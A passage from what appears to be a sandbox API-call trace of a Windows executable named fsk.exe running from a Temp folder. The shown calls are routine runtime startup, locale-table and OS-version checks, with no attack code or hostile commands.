lpSystemTimeAsFileTime=0x60fea0*(dwLowDateTime=0xc9a4cda0, dwHighDateTime=0x1d4c1ea)) [0078.318] GetCurrentThreadId () returned 0xbd4 [0078.318] GetCurrentProcessId () returned 0xbd0 [0078.318] QueryPerformanceCounter (in: lpPerformanceCount=0x60fe98 | out: lpPerformanceCount=0x60fe98*=1815541700000) returned 1 [0078.319] GetStartupInfoW (in: lpStartupInfo=0x60fe30 | out: lpStartupInfo=0x60fe30*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x777dfd35, hStdError=0x77847daf)) [0078.320] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76540000 [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="FlsAlloc") returned 0x76554f2b [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="FlsFree") returned 0x7655359f [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="FlsGetValue") returned 0x76551252 [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="FlsSetValue") returned 0x76554208 [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="InitializeCriticalSectionEx") returned 0x76554d28 [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="CreateEventExW") returned 0x765d410b [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="CreateSemaphoreExW") returned 0x765d4195 [0078.320] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadStackGuarantee") returned 0x7655d31f [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="CreateThreadpoolTimer") returned 0x7656ee7e [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadpoolTimer") returned 0x7780441c [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7782c50e [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="CloseThreadpoolTimer") returned 0x7782c381 [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="CreateThreadpoolWait") returned 0x7656f088 [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadpoolWait") returned 0x778105d7 [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="CloseThreadpoolWait") returned 0x7782ca24 [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="FlushProcessWriteBuffers") returned 0x777e0b8c [0078.321] GetProcAddress (hModule=0x76540000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7789fde8 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="GetCurrentProcessorNumber") returned 0x77831e1d [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="GetLogicalProcessorInformation") returned 0x765d4761 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="CreateSymbolicLinkW") returned 0x765ccd11 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="EnumSystemLocalesEx") returned 0x765d424f [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="CompareStringEx") returned 0x765d46b1 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="GetDateFormatEx") returned 0x765e6676 [0078.322] GetProcAddress (hModule=0x76540000, lpProcName="GetLocaleInfoEx") returned 0x765d4751 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="GetTimeFormatEx") returned 0x765e65f1 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="GetUserDefaultLocaleName") returned 0x765d47c1 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="IsValidLocaleName") returned 0x765d47e1 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="LCMapStringEx") returned 0x765d47f1 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="GetCurrentPackageId") returned 0x0 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="GetTickCount64") returned 0x7656eee0 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0078.323] GetProcAddress (hModule=0x76540000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0078.323] GetCurrentThreadId () returned 0xbd4 [0078.324] GetStartupInfoW (in: lpStartupInfo=0x60fe00 | out: lpStartupInfo=0x60fe00*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1169cfd, hStdOutput=0x7ec7d884, hStdError=0x0)) [0078.324] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0078.324] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0078.324] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0078.324] GetCommandLineW () returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ" [0078.324] GetEnvironmentStringsW () returned 0x633250* [0078.324] FreeEnvironmentStringsW (penv=0x633250) returned 1 [0078.324] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1205ba8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0x35 [0078.325] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0078.325] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] GetACP () returned 0x4e4 [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] IsValidCodePage (CodePage=0x4e4) returned 1 [0078.326] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x60fdf4 | out: lpCPInfo=0x60fdf4) returned 1 [0078.326] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x60f8bc | out: lpCPInfo=0x60f8bc) returned 1 [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x60f638, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0078.326] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x60f8d0 | out: lpCharType=0x60f8d0) returned 1 [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x60f608, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0078.326] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0078.326] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x60f3f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0078.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x60fbd0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x34\xdb\xc7\x7e\x0c\xfe\x60", lpUsedDefaultChar=0x0) returned 256 [0078.326] GetLastError () returned 0x0 [0078.326] SetLastError (dwErrCode=0x0) [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x60fcd0, cbMultiByte=256, lpWideCharStr=0x60f628, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĖĀ") returned 256 [0078.326] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĖĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0078.326] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĖĀ", cchSrc=256, lpDestStr=0x60f418, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0078.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x60fad0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x34\xdb\xc7\x7e\x0c\xfe\x60", lpUsedDefaultChar=0x0) returned 256 [0078.326] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0078.326] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1174cfc) returned 0x0 [0078.327] GetVersionExW (in: lpVersionInformation=0x60fce8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1f1e1d1c, dwMinorVersion=0x23222120, dwBuildNumber=0x27262524, dwPlatformId=0xb1000f, szCSDVersion="\x04") | out: lpVersionInformation=0x60fce8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0078.327] GetCurrentProcess () returned 0xffffffff [0078.327] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x60fe38 | out: Wow64Process=0x60fe38) returned 1 [0078.327] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0078.328] GetProcAddress (hModule=0x76540000, lpProcName="GetNativeSystemInfo") returned 0x765610b5 [0078.328] GetNativeSystemInfo (in: lpSystemInfo=0x60fe04 | out: lpSystemInfo=0x60fe04*(dwOemId=0x9, 